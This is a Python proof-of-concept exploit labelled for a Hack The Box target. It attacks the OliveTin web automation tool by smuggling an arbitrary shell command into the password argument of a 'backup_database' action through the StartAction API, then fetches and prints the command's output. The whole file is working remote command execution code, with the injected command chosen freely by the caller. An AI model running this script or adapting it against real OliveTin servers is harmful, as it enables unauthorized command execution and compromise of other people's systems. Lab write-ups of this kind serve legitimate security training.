#!/usr/bin/env python3

import argparse
import json
import sys
import uuid
import time

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def start_action(base_url, tracking_id, cmd):
    url = f"{base_url}/api/olivetin.api.v1.OliveTinApiService/StartAction"

    payload = {
        "bindingId": "backup_database",
        "arguments": [
            {
                "name": "db_user",
                "value": "backup_svc"
            },
            {
                "name": "db_pass",
                "value": f"';{cmd};'"
            },
            {
                "name": "db_name",
                "value": "production"
            }
        ],
        "uniqueTrackingId": tracking_id
    }

    r = requests.post(
        url,
        json=payload,
        verify=False,
        timeout=10,
    )

    r.raise_for_status()

    return r.json()["executionTrackingId"]


def execution_status(base_url, tracking_id):
    url = f"{base_url}/api/olivetin.api.v1.OliveTinApiService/ExecutionStatus"

    payload = {
        "executionTrackingId": tracking_id
    }

    r = requests.post(
        url,
        json=payload,
        verify=False,
        timeout=10,
    )

    r.raise_for_status()
    return r.json()


def print_output(resp):
    try:
        output = resp["logEntry"]["output"]
    except KeyError:
        print(json.dumps(resp, indent=4))
        return

    print("=" * 70)
    print("Command Output")
    print("=" * 70)
    print(output.rstrip())
    print("=" * 70)


def main():
    parser = argparse.ArgumentParser(
        description="OliveTin HTB PoC"
    )

    parser.add_argument(
        "-u",
        "--url",
        required=True,
        help="Target host/IP"
    )

    parser.add_argument(
        "-p",
        "--port",
        default=1337,
        type=int,
        help="Target port (default: 1337)"
    )

    parser.add_argument(
        "-x",
        "--cmd",
        default="id",
        help="Command to execute (default: id)"
    )

    args = parser.parse_args()

    host = args.url.rstrip("/")

    if not host.startswith("http://") and not host.startswith("https://"):
        host = "http://" + host

    base_url = f"{host}:{args.port}"

    tracking_id = str(uuid.uuid4())

    try:
        execution_id = start_action(base_url, tracking_id, args.cmd)

        print(f"[+] Execution ID: {execution_id}")
        time.sleep(2)
        response = execution_status(base_url, execution_id)

        print_output(response)

    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
        sys.exit(1)
    except Exception as e:
        print(f"[-] Error: {e}")
        sys.exit(1)


if __name__ == "__main__":
    main()